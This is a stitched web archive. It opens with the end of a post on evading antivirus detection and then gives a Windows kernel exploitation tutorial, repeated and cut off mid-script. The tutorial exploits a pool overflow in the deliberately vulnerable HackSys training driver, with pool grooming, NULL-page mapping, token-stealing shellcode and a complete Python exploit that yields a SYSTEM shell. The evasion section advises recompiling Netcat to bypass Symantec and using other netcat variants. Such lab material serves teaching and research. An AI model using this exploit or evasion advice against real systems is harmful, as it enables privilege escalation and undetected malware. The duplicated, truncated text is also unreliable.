If you are writing the program yourself or have the patience to modify it
extensively you can add your own encoding or encryption routines into the code
itself, or use polymorphic code. The important consideration when doing this
is that the file signature in the resulting binary file must change as a
result of the modification of the source code and the recompilation and
linking of the executable.  
  
  
**Recompiling**  
  
Sometimes simply recompiling a program with different compiler or linker
options, or with a different compiler, can change a files signature and allow
you to avoid AV detection. In my testing of this last year, recompiling Netcat
using Visual Studio 2008 bypassed detection by Symantec Antivirus \(and also
introduced some other minor issues, but that's besides the point\).  
  
  
**Use of Alternate Programs**  
  
This one is actually a bit of a cheat - instead of changing your desired
program to avoid AV detection, simply use another program with similar
functionality.  
  
For netcat, some of the following may be suitable:  

  * Cryptcat
  * NCat
  * Cygwin Netcat
  * SBD
  * Socat
  * Mocat
  * Netcat2

  
Can you think of any other methods of modifying a file to avoid AV detection
that I may have missed? Leave a comment...

# Windows Kernel Exploitation Tutorial Part 4: Pool Feng-Shui -> Pool Overflow
- rootkit

**Created:**| _3/7/2018 8:54:21 AM_  
---|---  
**Updated:**| _3/7/2018 8:54:21 AM_  
**Author:**| _wishi_  
**Tags:**| _windows kernel_  
  

  

# Windows Kernel Exploitation Tutorial Part 4: Pool Feng-Shui –> Pool Overflow

November 28, 2017 rootkit

## Overview

We discussed about Write-What-Where vulnerability in the previous part. This
part will deal with another vulnerability, **Pool Overflow** , which in
simpler terms, is just an Out-of-Bounds write on the pool buffer. This part
could be intimidating and goes really in-depth on how to groom the pool in a
way to control the flow of the application reliably everytime to our
shellcode, so take your time with this, and try to understand the concepts
used before actually trying to exploit the vulnerability.

Again, huge thanks to @hacksysteam for the driver.

* * *
## Pool Feng-Shui

Before we dig deep into Pool Overflow, we need to understand the basics of
pool, how to manipulate it to our needs. A really good read on this topic is
available here by Tarjei Mandt. I highly suggest to go through it before
continuing further in this post. You need to have a solid understading on the
pool concepts before continuing further.

Kernel Pool is very similar to Windows Heap, as it’s used to serve dynamic
memory allocations. Just like the Heap Spray to groom the heap for normal
applications, in kernel land, we need to find a way to groom our pool in such
a way, so that we can predictably call our shellcode from the memory location.
It’s very important to understand the concepts for Pool Allocator, and how to
influence the pool allocation and deallocation mechanism.

For our HEVD driver, the vulnerable user buffer is allocated in the Non-Paged
pool, so we need to find a technique to groom the Non-Paged pool. Windows
provides an _Event_ object, which is stored in Non-Paged pool, and can be
created using the _CreateEvent_ API:

123456 | HANDLE WINAPI CreateEvent\( \_In\_opt\_ LPSECURITY\_ATTRIBUTES lpEventAttributes, \_In\_ BOOL bManualReset, \_In\_ BOOL bInitialState, \_In\_opt\_ LPCTSTR lpName\);  
---|---  
Here, we would need to create two large enough arrays of Event objects with
this API, and then, create holes in that allocated pool chunk by freeing some
of the Event objects in one of the arrays by using the _CloseHandle_ API,
which after coalescing, would combine into larger free chunks:

123 | BOOL WINAPI CloseHandle\( \_In\_ HANDLE hObject\);  
---|---  
In these free chunks, we’d need to insert our vulnerable user buffer in such a
way, that it reliably overwrites the correct memory location everytime, as
we’d be “**corrupting** ” an adjacent header of the event object, to divert
the flow of our execution to our shellcode. A very rough diagram of what we
are going to do here should make this a bit more clear \(Yeah, I’m a 1337 in
paint\):

<img src='img/pool6.png' width='1248' height='683' />

After this, we’d be carefully placing the pointer to our shellcode in such a
way, that it could be called by manipulating our corrupted pool header. We’d
be faking a _OBJECT\_TYPE_ header, carefully overwriting the pointer to one of
the procedures in _OBJECT\_TYPE\_INITIALIZER_.

* * *
## Analysis

To analyze the vulnerability, let’s look into the _PoolOverflow.c_ file:

12345678910111213141516171819202122232425262728293031323334353637383940414243 | \_\_try \{ DbgPrint\("\[+\] Allocating Pool chunk\n"\); // Allocate Pool chunk KernelBuffer = ExAllocatePoolWithTag\(NonPagedPool, \(SIZE\_T\)POOL\_BUFFER\_SIZE, \(ULONG\)POOL\_TAG\); if \(\!KernelBuffer\) \{ // Unable to allocate Pool chunk DbgPrint\("\[-\] Unable to allocate Pool chunk\n"\); Status = STATUS\_NO\_MEMORY; return Status; \} else \{ DbgPrint\("\[+\] Pool Tag: %s\n", STRINGIFY\(POOL\_TAG\)\); DbgPrint\("\[+\] Pool Type: %s\n", STRINGIFY\(NonPagedPool\)\); DbgPrint\("\[+\] Pool Size: 0x%X\n", \(SIZE\_T\)POOL\_BUFFER\_SIZE\); DbgPrint\("\[+\] Pool Chunk: 0x%p\n", KernelBuffer\); \} // Verify if the buffer resides in user mode ProbeForRead\(UserBuffer, \(SIZE\_T\)POOL\_BUFFER\_SIZE, \(ULONG\)\_\_alignof\(UCHAR\)\); DbgPrint\("\[+\] UserBuffer: 0x%p\n", UserBuffer\); DbgPrint\("\[+\] UserBuffer Size: 0x%X\n", Size\); DbgPrint\("\[+\] KernelBuffer: 0x%p\n", KernelBuffer\); DbgPrint\("\[+\] KernelBuffer Size: 0x%X\n", \(SIZE\_T\)POOL\_BUFFER\_SIZE\); \#ifdef SECURE // Secure Note: This is secure because the developer is passing a size // equal to size of the allocated Pool chunk to RtlCopyMemory\(\)/memcpy\(\). // Hence, there will be no overflow RtlCopyMemory\(KernelBuffer, UserBuffer, \(SIZE\_T\)POOL\_BUFFER\_SIZE\);\#else DbgPrint\("\[+\] Triggering Pool Overflow\n"\); // Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability // because the developer is passing the user supplied value directly to // RtlCopyMemory\(\)/memcpy\(\) without validating if the size is greater or // equal to the size of the allocated Pool chunk RtlCopyMemory\(KernelBuffer, UserBuffer, Size\);  
---|---  
This would seem a little more compllicated, but we can clearly see the
vulnerability here, as in the last line, the developer is directly passing the
value without any validation of the size. This leads to a Vanilla Pool
Overflow vulnerability.

We’ll find the IOCTL for this vulnerability as described in the previous post:

1 | hex\(\(0x00000022 << 16\) | \(0x00000000 << 14\) | \(0x803 << 2\) | 0x00000003\)  
---|---  
This gives us IOCTL of _0x22200f_.

We’ll just analyze the function _TriggerPoolOverflow_ in IDA to see what we
can find:

<img src='img/poolida.png' width='729' height='504' />

We see a tag of “Hack” as our vulnerable buffer tag, and having a length of
0x1f8 \(504\). As we have sufficient information about the vulnerability now,
let’s jump to the fun part, exploiting it.

* * *
## Exploitation

Let’s start with our skeleton script, with the IOCTL of _0x22200f_.

123456789101112131415161718192021 | import ctypes, sys, structfrom ctypes import \*from subprocess import \* def main\(\): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle" sys.exit\(-1\) buf = "A"\*100 bufLength = len\(buf\) kernel32.DeviceIoControl\(hevDevice, 0x22200f, buf, bufLength, None, 0, byref\(c\_ulong\(\)\), None\) if \_\_name\_\_ == "\_\_main\_\_": main\(\)  
---|---  
<img src='img/pool1.png' width='370' height='216' />

We are triggering the Pool Overflow IOCTL. We can see the tag _‘kcaH’_ and the
size of _0x1f8 \(504\)_. Let’s try giving _0x1f8_ as the UserBuffer Size.

<img src='img/pool2.png' width='248' height='176' />

Cool, we shouldn’t be corrupting any adjacent memory right now, as we are just
at the border of the given size. Let’s analyze the pool:

<img src='img/pool3.png' width='579' height='376' />

We see that our user buffer is perfectly allocated, and just ends adjacent to
the next pool chunk’s header:

<img src='img/pool4.png' width='375' height='126' />

Overflowing this would be disastrous, and would result in a BSOD/Crash,
corrupting the adjacent pool header.

<img src='img/pool5.png' width='645' height='665' />

One interesting thing to note here is how we are actually able to control the
adjacent header with our overflow. This is the vulnerability that we’d be
exploiting by grooming the pool in a predictable manner, derandomising our
pool. For this, our previously discusssed _CreateEvent_ API is perfect, as it
has a size of _0x40_ , which could easily be matched to our Pool size _0x200_.

We’ll spray a huge number of Event objects, store their handles in arrays, and
see how it affects our pool:

12345678910111213141516171819202122232425262728 | import ctypes, sys, structfrom ctypes import \*from subprocess import \* def main\(\): kernel32 = windll.kernel32 ntdll = windll.ntdll hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle." sys.exit\(0\) buf = "A"\*504 buf\_ad = id\(buf\) + 20 spray\_event1 = spray\_event2 = \[\] for i in xrange\(10000\): spray\_event1.append\(kernel32.CreateEventA\(None, False, False, None\)\) for i in xrange\(5000\): spray\_event2.append\(kernel32.CreateEventA\(None, False, False, None\)\) kernel32.DeviceIoControl\(hevDevice, 0x22200f, buf\_ad, len\(buf\), None, 0, byref\(c\_ulong\(\)\), None\) if \_\_name\_\_ == "\_\_main\_\_": main\(\)  
---|---  
<img src='img/pool7.png' width='651' height='617' />  
Our Event objects are sprayed in the non-paged pool. Now we need to create
holes, and re-allocate our vulnerable buffer **Hack** into the created holes.
After reallocating our vulnerable buffer, we’d need to “**corrupt** ” the
adjacent pool header in such a way, that it leads to our shellcode. The size
of the Event object would be _0x40 \(0x38 + 0x8\)_ , including the Pool
Header.

Let’s analyze the headers:

<img src='img/pool8.png' width='373' height='123' />

As we are reliably spraying our Non-Paged pool with Event objects, we can just
append these values at the end of our vulnerable buffer and be done with it.
But, it won’t work, as these headers have a deeper meaning and needs a minute
modification. Let’s dig deep into the headers to see what needs to be
modified:

<img src='img/pool9.png' width='582' height='499' />

The thing we are interested in this is the **TypeIndex** , which is actually
an offset \(_0xc_\) in an array of pointers, which defines **OBJECT\_TYPE** of
each object supported by Windows. Let’s analyze that:

<img src='img/pool10.png' width='692' height='847' />

This all might seem a little complicated at first, but I have highlighted the
important parts:

  * The first pointer is _00000000,_ very important as we are right now in Windows 7 \(explained below\).
  * The next highlighted pointer is _85f05418_ , which is at the offset of the _0xc_ from the start
  * Analyzing this, we see that this is the **Event** object type
  * Now, the most interesting thing here is the **TypeInfo** member, at an offset of _0x28._
    * Towards the end of this member, there are some procedures called, one can use a suitable procedure from the provided ones. I’d be using the **CloseProcedure** , located at _0x038._
    * The offset for **CloseProcedure** becomes _0x28 + 0x38 =**0x60**_
    * This _0x60_ is the pointer that we’d be overwriting with pointer to our shellcode, and then call the **CloseProcedure** method, thus ultimately executing our shellcode.

Our goal is to change the **TypeIndex** offset from _0xc_ to _0x0,_ as the
first pointer is the null pointer, and in Windows 7, there’s a \*\* **flaw**
\*\* where it’s possible to map NULL pages using the _NtAllocateVirtualMemory_
call:

12345678 | NTSTATUS ZwAllocateVirtualMemory\( \_In\_ HANDLE ProcessHandle, \_Inout\_ PVOID \*BaseAddress, \_In\_ ULONG\_PTR ZeroBits, \_Inout\_ PSIZE\_T RegionSize, \_In\_ ULONG AllocationType, \_In\_ ULONG Protect\);  
---|---  
And then writing pointer to our shellcode onto the desired location \(_0x60_\)
using the _WriteProcessMemory_ call:

1234567 | BOOL WINAPI WriteProcessMemory\( \_In\_ HANDLE hProcess, \_In\_ LPVOID lpBaseAddress, \_In\_ LPCVOID lpBuffer, \_In\_ SIZE\_T nSize, \_Out\_ SIZE\_T \*lpNumberOfBytesWritten\);  
---|---  
Adding all the things discussed above together, our rough script would look
like:

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849 | import ctypes, sys, structfrom ctypes import \*from subprocess import \* def main\(\): kernel32 = windll.kernel32 ntdll = windll.ntdll hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle." sys.exit\(0\) ntdll.NtAllocateVirtualMemory\(0xFFFFFFFF, byref\(c\_void\_p\(0x1\)\), 0, byref\(c\_ulong\(0x100\)\), 0x3000, 0x40\) shellcode = "\x90" \* 8 shellcode\_address = id\(shellcode\) + 20 kernel32.WriteProcessMemory\(0xFFFFFFFF, 0x60, byref\(c\_void\_p\(shellcode\_address\)\), 0x4, byref\(c\_ulong\(\)\)\) buf = "A" \* 504 buf += struct.pack\("L", 0x04080040\) buf += struct.pack\("L", 0xEE657645\) buf += struct.pack\("L", 0x00000000\) buf += struct.pack\("L", 0x00000040\) buf += struct.pack\("L", 0x00000000\) buf += struct.pack\("L", 0x00000000\) buf += struct.pack\("L", 0x00000001\) buf += struct.pack\("L", 0x00000001\) buf += struct.pack\("L", 0x00000000\) buf += struct.pack\("L", 0x00080000\) buf\_ad = id\(buf\) + 20 spray\_event1 = spray\_event2 = \[\] for i in xrange\(10000\): spray\_event1.append\(kernel32.CreateEventA\(None, False, False, None\)\) for i in xrange\(5000\): spray\_event2.append\(kernel32.CreateEventA\(None, False, False, None\)\) for i in xrange\(0, len\(spray\_event2\), 16\): for j in xrange\(0, 8, 1\): kernel32.CloseHandle\(spray\_event2\[i+j\]\) kernel32.DeviceIoControl\(hevDevice, 0x22200f, buf\_ad, len\(buf\), None, 0, byref\(c\_ulong\(\)\), None\) if \_\_name\_\_ == "\_\_main\_\_": main\(\)  
---|---  
<img src='img/pool11.png' width='654' height='369' />

Our Vulnerable buffer now sits flush between our Event objects, in the hole
that we created.

<img src='img/pool12.png' width='402' height='137' />

The TypeIndex is modified from 0xc to 0x0

<img src='img/pool13.png' width='477' height='351' />

Bingo, our shellcode address resides in the desired address.

Now, we just need to call the _CloseProcedure_ , load our shellcode in
_VirtualAlloc_ memory, and our shellcode should run perfectly fine. The script
below is the final exploit:

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116 | import ctypes, sys, structfrom ctypes import \*from subprocess import \* def main\(\): kernel32 = windll.kernel32 ntdll = windll.ntdll hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle." sys.exit\(0\) \#Defining the ring0 shellcode and loading it in VirtualAlloc. shellcode = bytearray\( "\x90\x90\x90\x90" \# NOP Sled "\x60" \# pushad "\x64\xA1\x24\x01\x00\x00" \# mov eax, fs:\[KTHREAD\_OFFSET\] "\x8B\x40\x50" \# mov eax, \[eax + EPROCESS\_OFFSET\] "\x89\xC1" \# mov ecx, eax \(Current \_EPROCESS structure\) "\x8B\x98\xF8\x00\x00\x00" \# mov ebx, \[eax + TOKEN\_OFFSET\] "\xBA\x04\x00\x00\x00" \# mov edx, 4 \(SYSTEM PID\) "\x8B\x80\xB8\x00\x00\x00" \# mov eax, \[eax + FLINK\_OFFSET\] "\x2D\xB8\x00\x00\x00" \# sub eax, FLINK\_OFFSET "\x39\x90\xB4\x00\x00\x00" \# cmp \[eax + PID\_OFFSET\], edx "\x75\xED" \# jnz "\x8B\x90\xF8\x00\x00\x00" \# mov edx, \[eax + TOKEN\_OFFSET\] "\x89\x91\xF8\x00\x00\x00" \# mov \[ecx + TOKEN\_OFFSET\], edx "\x61" \# popad "\xC2\x10\x00" \# ret 16 \) ptr = kernel32.VirtualAlloc\(c\_int\(0\), c\_int\(len\(shellcode\)\), c\_int\(0x3000\),c\_int\(0x40\)\) buff = \(c\_char \* len\(shellcode\)\).from\_buffer\(shellcode\) kernel32.RtlMoveMemory\(c\_int\(ptr\), buff, c\_int\(len\(shellcode\)\)\) print "\[+\] Pointer for ring0 shellcode: \{0\}".format\(hex\(ptr\)\) \#Allocating the NULL page, Virtual Address Space: 0x0000 - 0x1000. \#The base address is given as 0x1, which will be rounded down to the next host. \#We'd be allocating the memory of Size 0x100 \(256\). print "\n\[+\] Allocating/Mapping NULL page..." null\_status = ntdll.NtAllocateVirtualMemory\(0xFFFFFFFF, byref\(c\_void\_p\(0x1\)\), 0, byref\(c\_ulong\(0x100\)\), 0x3000, 0x40\) if null\_status \!= 0x0: print "\t\[+\] Failed to allocate NULL page..." sys.exit\(-1\) else: print "\t\[+\] NULL Page Allocated" \#Writing the ring0 pointer into the location in the mapped NULL page, so as to call the CloseProcedure @ 0x60. print "\n\[+\] Writing ring0 pointer \{0\} in location 0x60...".format\(hex\(ptr\)\) if not kernel32.WriteProcessMemory\(0xFFFFFFFF, 0x60, byref\(c\_void\_p\(ptr\)\), 0x4, byref\(c\_ulong\(\)\)\): print "\t\[+\] Failed to write at 0x60 location" sys.exit\(-1\) \#Defining the Vulnerable User Buffer. \#Length 0x1f8 \(504\), and "corrupting" the adjacent header to point to our NULL page. buf = "A" \* 504 buf += struct.pack\("L", 0x04080040\) buf += struct.pack\("L", 0xEE657645\) buf += struct.pack\("L", 0x00000000\) buf += struct.pack\("L", 0x00000040\) buf += struct.pack\("L", 0x00000000\) buf += struct.pack\("L", 0x00000000\) buf += struct.pack\("L", 0x00000001\) buf += struct.pack\("L", 0x00000001\) buf += struct.pack\("L", 0x00000000\) buf += struct.pack\("L", 0x00080000\) buf\_ad = id\(buf\) + 20 \#Spraying the Non-Paged Pool with Event Objects. Creating two large enough \(10000 and 5000\) chunks. spray\_event1 = spray\_event2 = \[\] print "\n\[+\] Spraying Non-Paged Pool with Event Objects..." for i in xrange\(10000\): spray\_event1.append\(kernel32.CreateEventA\(None, False, False, None\)\) print "\t\[+\] Sprayed 10000 objects." for i in xrange\(5000\): spray\_event2.append\(kernel32.CreateEventA\(None, False, False, None\)\) print "\t\[+\] Sprayed 5000 objects." \#Creating holes in the sprayed region for our Vulnerable User Buffer to fit in. print "\n\[+\] Creating holes in the sprayed region..." for i in xrange\(0, len\(spray\_event2\), 16\): for j in xrange\(0, 8, 1\): kernel32.CloseHandle\(spray\_event2\[i+j\]\) kernel32.DeviceIoControl\(hevDevice, 0x22200f, buf\_ad, len\(buf\), None, 0, byref\(c\_ulong\(\)\), None\) \#Closing the Handles by freeing the Event Objects, ultimately executing our shellcode. print "\n\[+\] Calling the CloseProcedure..." for i in xrange\(0, len\(spray\_event1\)\): kernel32.CloseHandle\(spray\_event1\[i\]\) for i in xrange\(8, len\(spray\_event2\), 16\): for j in xrange\(0, 8, 1\): kernel32.CloseHandle\(spray\_event2\[i + j\]\) print "\n\[+\] nt authority\system shell incoming" Popen\("start cmd", shell=True\) if \_\_name\_\_ == "\_\_main\_\_": main\(\)  
---|---  
<img src='img/pool14.png' width='658' height='739' />

And we get our usual _nt authority\system_ shell:

<img src='img/pool_shell.png' width='1247' height='550' />

Posted in Kernel, TutorialTagged Exploitation, Kernel, Pool Overflow,
Tutorial, Windows

# Windows Kernel Exploitation Tutorial Part 4: Pool Feng-Shui –> Pool Overflow

November 28, 2017 rootkit

## Overview

We discussed about Write-What-Where vulnerability in the previous part. This
part will deal with another vulnerability, **Pool Overflow** , which in
simpler terms, is just an Out-of-Bounds write on the pool buffer. This part
could be intimidating and goes really in-depth on how to groom the pool in a
way to control the flow of the application reliably everytime to our
shellcode, so take your time with this, and try to understand the concepts
used before actually trying to exploit the vulnerability.

Again, huge thanks to @hacksysteam for the driver.

* * *
## Pool Feng-Shui

Before we dig deep into Pool Overflow, we need to understand the basics of
pool, how to manipulate it to our needs. A really good read on this topic is
available here by Tarjei Mandt. I highly suggest to go through it before
continuing further in this post. You need to have a solid understading on the
pool concepts before continuing further.

Kernel Pool is very similar to Windows Heap, as it’s used to serve dynamic
memory allocations. Just like the Heap Spray to groom the heap for normal
applications, in kernel land, we need to find a way to groom our pool in such
a way, so that we can predictably call our shellcode from the memory location.
It’s very important to understand the concepts for Pool Allocator, and how to
influence the pool allocation and deallocation mechanism.

For our HEVD driver, the vulnerable user buffer is allocated in the Non-Paged
pool, so we need to find a technique to groom the Non-Paged pool. Windows
provides an _Event_ object, which is stored in Non-Paged pool, and can be
created using the _CreateEvent_ API:

123456 | HANDLE WINAPI CreateEvent\( \_In\_opt\_ LPSECURITY\_ATTRIBUTES lpEventAttributes, \_In\_ BOOL bManualReset, \_In\_ BOOL bInitialState, \_In\_opt\_ LPCTSTR lpName\);  
---|---  
Here, we would need to create two large enough arrays of Event objects with
this API, and then, create holes in that allocated pool chunk by freeing some
of the Event objects in one of the arrays by using the _CloseHandle_ API,
which after coalescing, would combine into larger free chunks:

123 | BOOL WINAPI CloseHandle\( \_In\_ HANDLE hObject\);  
---|---  
In these free chunks, we’d need to insert our vulnerable user buffer in such a
way, that it reliably overwrites the correct memory location everytime, as
we’d be “**corrupting** ” an adjacent header of the event object, to divert
the flow of our execution to our shellcode. A very rough diagram of what we
are going to do here should make this a bit more clear \(Yeah, I’m a 1337 in
paint\):

<img src='img/pool6.png' width='1248' height='683' />

After this, we’d be carefully placing the pointer to our shellcode in such a
way, that it could be called by manipulating our corrupted pool header. We’d
be faking a _OBJECT\_TYPE_ header, carefully overwriting the pointer to one of
the procedures in _OBJECT\_TYPE\_INITIALIZER_.

* * *
## Analysis

To analyze the vulnerability, let’s look into the _PoolOverflow.c_ file:

12345678910111213141516171819202122232425262728293031323334353637383940414243 | \_\_try \{ DbgPrint\("\[+\] Allocating Pool chunk\n"\); // Allocate Pool chunk KernelBuffer = ExAllocatePoolWithTag\(NonPagedPool, \(SIZE\_T\)POOL\_BUFFER\_SIZE, \(ULONG\)POOL\_TAG\); if \(\!KernelBuffer\) \{ // Unable to allocate Pool chunk DbgPrint\("\[-\] Unable to allocate Pool chunk\n"\); Status = STATUS\_NO\_MEMORY; return Status; \} else \{ DbgPrint\("\[+\] Pool Tag: %s\n", STRINGIFY\(POOL\_TAG\)\); DbgPrint\("\[+\] Pool Type: %s\n", STRINGIFY\(NonPagedPool\)\); DbgPrint\("\[+\] Pool Size: 0x%X\n", \(SIZE\_T\)POOL\_BUFFER\_SIZE\); DbgPrint\("\[+\] Pool Chunk: 0x%p\n", KernelBuffer\); \} // Verify if the buffer resides in user mode ProbeForRead\(UserBuffer, \(SIZE\_T\)POOL\_BUFFER\_SIZE, \(ULONG\)\_\_alignof\(UCHAR\)\); DbgPrint\("\[+\] UserBuffer: 0x%p\n", UserBuffer\); DbgPrint\("\[+\] UserBuffer Size: 0x%X\n", Size\); DbgPrint\("\[+\] KernelBuffer: 0x%p\n", KernelBuffer\); DbgPrint\("\[+\] KernelBuffer Size: 0x%X\n", \(SIZE\_T\)POOL\_BUFFER\_SIZE\); \#ifdef SECURE // Secure Note: This is secure because the developer is passing a size // equal to size of the allocated Pool chunk to RtlCopyMemory\(\)/memcpy\(\). // Hence, there will be no overflow RtlCopyMemory\(KernelBuffer, UserBuffer, \(SIZE\_T\)POOL\_BUFFER\_SIZE\);\#else DbgPrint\("\[+\] Triggering Pool Overflow\n"\); // Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability // because the developer is passing the user supplied value directly to // RtlCopyMemory\(\)/memcpy\(\) without validating if the size is greater or // equal to the size of the allocated Pool chunk RtlCopyMemory\(KernelBuffer, UserBuffer, Size\);  
---|---  
This would seem a little more compllicated, but we can clearly see the
vulnerability here, as in the last line, the developer is directly passing the
value without any validation of the size. This leads to a Vanilla Pool
Overflow vulnerability.

We’ll find the IOCTL for this vulnerability as described in the previous post:

1 | hex\(\(0x00000022 << 16\) | \(0x00000000 << 14\) | \(0x803 << 2\) | 0x00000003\)  
---|---  
This gives us IOCTL of _0x22200f_.

We’ll just analyze the function _TriggerPoolOverflow_ in IDA to see what we
can find:

<img src='img/poolida.png' width='729' height='504' />

We see a tag of “Hack” as our vulnerable buffer tag, and having a length of
0x1f8 \(504\). As we have sufficient information about the vulnerability now,
let’s jump to the fun part, exploiting it.

* * *
## Exploitation

Let’s start with our skeleton script, with the IOCTL of _0x22200f_.

123456789101112131415161718192021 | import ctypes, sys, structfrom ctypes import \*from subprocess import \* def main\(\): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle" sys.exit\(-1\) buf = "A"\*100 bufLength = len\(buf\) kernel32.DeviceIoControl\(hevDevice, 0x22200f, buf, bufLength, None, 0, byref\(c\_ulong\(\)\), None\) if \_\_name\_\_ == "\_\_main\_\_": main\(\)  
---|---  
<img src='img/pool1.png' width='370' height='216' />

We are triggering the Pool Overflow IOCTL. We can see the tag _‘kcaH’_ and the
size of _0x1f8 \(504\)_. Let’s try giving _0x1f8_ as the UserBuffer Size.

<img src='img/pool2.png' width='248' height='176' />

Cool, we shouldn’t be corrupting any adjacent memory right now, as we are just
at the border of the given size. Let’s analyze the pool:

<img src='img/pool3.png' width='579' height='376' />

We see that our user buffer is perfectly allocated, and just ends adjacent to
the next pool chunk’s header:

<img src='img/pool4.png' width='375' height='126' />

Overflowing this would be disastrous, and would result in a BSOD/Crash,
corrupting the adjacent pool header.

<img src='img/pool5.png' width='645' height='665' />

One interesting thing to note here is how we are actually able to control the
adjacent header with our overflow. This is the vulnerability that we’d be
exploiting by grooming the pool in a predictable manner, derandomising our
pool. For this, our previously discusssed _CreateEvent_ API is perfect, as it
has a size of _0x40_ , which could easily be matched to our Pool size _0x200_.

We’ll spray a huge number of Event objects, store their handles in arrays, and
see how it affects our pool:

12345678910111213141516171819202122232425262728 | import ctypes, sys, structfrom ctypes import \*from subprocess import \* def main\(\): kernel32 = windll.kernel32 ntdll = windll.ntdll hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle." sys.exit\(0\) buf = "A"\*504 buf\_ad = id\(buf\) + 20 spray\_event1 = spray\_event2 = \[\] for i in xrange\(10000\): spray\_event1.append\(kernel32.CreateEventA\(None, False, False, None\)\) for i in xrange\(5000\): spray\_event2.append\(kernel32.CreateEventA\(None, False, False, None\)\) kernel32.DeviceIoControl\(hevDevice, 0x22200f, buf\_ad, len\(buf\), None, 0, byref\(c\_ulong\(\)\), None\) if \_\_name\_\_ == "\_\_main\_\_": main\(\)  
---|---  
<img src='img/pool7.png' width='651' height='617' />  
Our Event objects are sprayed in the non-paged pool. Now we need to create
holes, and re-allocate our vulnerable buffer **Hack** into the created holes.
After reallocating our vulnerable buffer, we’d need to “**corrupt** ” the
adjacent pool header in such a way, that it leads to our shellcode. The size
of the Event object would be _0x40 \(0x38 + 0x8\)_ , including the Pool
Header.

Let’s analyze the headers:

<img src='img/pool8.png' width='373' height='123' />

As we are reliably spraying our Non-Paged pool with Event objects, we can just
append these values at the end of our vulnerable buffer and be done with it.
But, it won’t work, as these headers have a deeper meaning and needs a minute
modification. Let’s dig deep into the headers to see what needs to be
modified:

<img src='img/pool9.png' width='582' height='499' />

The thing we are interested in this is the **TypeIndex** , which is actually
an offset \(_0xc_\) in an array of pointers, which defines **OBJECT\_TYPE** of
each object supported by Windows. Let’s analyze that:

<img src='img/pool10.png' width='692' height='847' />

This all might seem a little complicated at first, but I have highlighted the
important parts:

  * The first pointer is _00000000,_ very important as we are right now in Windows 7 \(explained below\).
  * The next highlighted pointer is _85f05418_ , which is at the offset of the _0xc_ from the start
  * Analyzing this, we see that this is the **Event** object type
  * Now, the most interesting thing here is the **TypeInfo** member, at an offset of _0x28._
    * Towards the end of this member, there are some procedures called, one can use a suitable procedure from the provided ones. I’d be using the **CloseProcedure** , located at _0x038._
    * The offset for **CloseProcedure** becomes _0x28 + 0x38 =**0x60**_
    * This _0x60_ is the pointer that we’d be overwriting with pointer to our shellcode, and then call the **CloseProcedure** method, thus ultimately executing our shellcode.

Our goal is to change the **TypeIndex** offset from _0xc_ to _0x0,_ as the
first pointer is the null pointer, and in Windows 7, there’s a \*\* **flaw**
\*\* where it’s possible to map NULL pages using the _NtAllocateVirtualMemory_
call:

12345678 | NTSTATUS ZwAllocateVirtualMemory\( \_In\_ HANDLE ProcessHandle, \_Inout\_ PVOID \*BaseAddress, \_In\_ ULONG\_PTR ZeroBits, \_Inout\_ PSIZE\_T RegionSize, \_In\_ ULONG AllocationType, \_In\_ ULONG Protect\);  
---|---  
And then writing pointer to our shellcode onto the desired location \(_0x60_\)
using the _WriteProcessMemory_ call:

1234567 | BOOL WINAPI WriteProcessMemory\( \_In\_ HANDLE hProcess, \_In\_ LPVOID lpBaseAddress, \_In\_ LPCVOID lpBuffer, \_In\_ SIZE\_T nSize, \_Out\_ SIZE\_T \*lpNumberOfBytesWritten\);  
---|---  
Adding all the things discussed above together, our rough script would look
like:

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849 | import ctypes, sys, structfrom ctypes import \*from subprocess import \* def main\(\): kernel32 = windll.kernel32 ntdll = windll.ntdll hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle." sys.exit\(0\) ntdll.NtAllocateVirtualMemory\(0xFFFFFFFF, byref\(c\_void\_p\(0x1\)\), 0, byref\(c\_ulong\(0x100\)\), 0x3000, 0x40\) shellcode = "\x90" \* 8 shellcode\_address = id\(shellcode\) + 20 kernel32.WriteProcessMemory\(0xFFFFFFFF, 0x60, byref\(c\_void\_p\(shellcode\_address\)\), 0x4, byref\(c\_ulong\(\)\)\) buf = "A" \* 504 buf += struct.pack\("L", 0x04080040\) buf += struct.pack\("L", 0xEE657645\) buf += struct.pack\("L", 0x00000000\) buf += struct.pack\("L", 0x00000040\) buf += struct.pack\("L", 0x00000000\) buf += struct.pack\("L", 0x00000000\) buf += struct.pack\("L", 0x00000001\) buf += struct.pack\("L", 0x00000001\) buf += struct.pack\("L", 0x00000000\) buf += struct.pack\("L", 0x00080000\) buf\_ad = id\(buf\) + 20 spray\_event1 = spray\_event2 = \[\] for i in xrange\(10000\): spray\_event1.append\(kernel32.CreateEventA\(None, False, False, None\)\) for i in 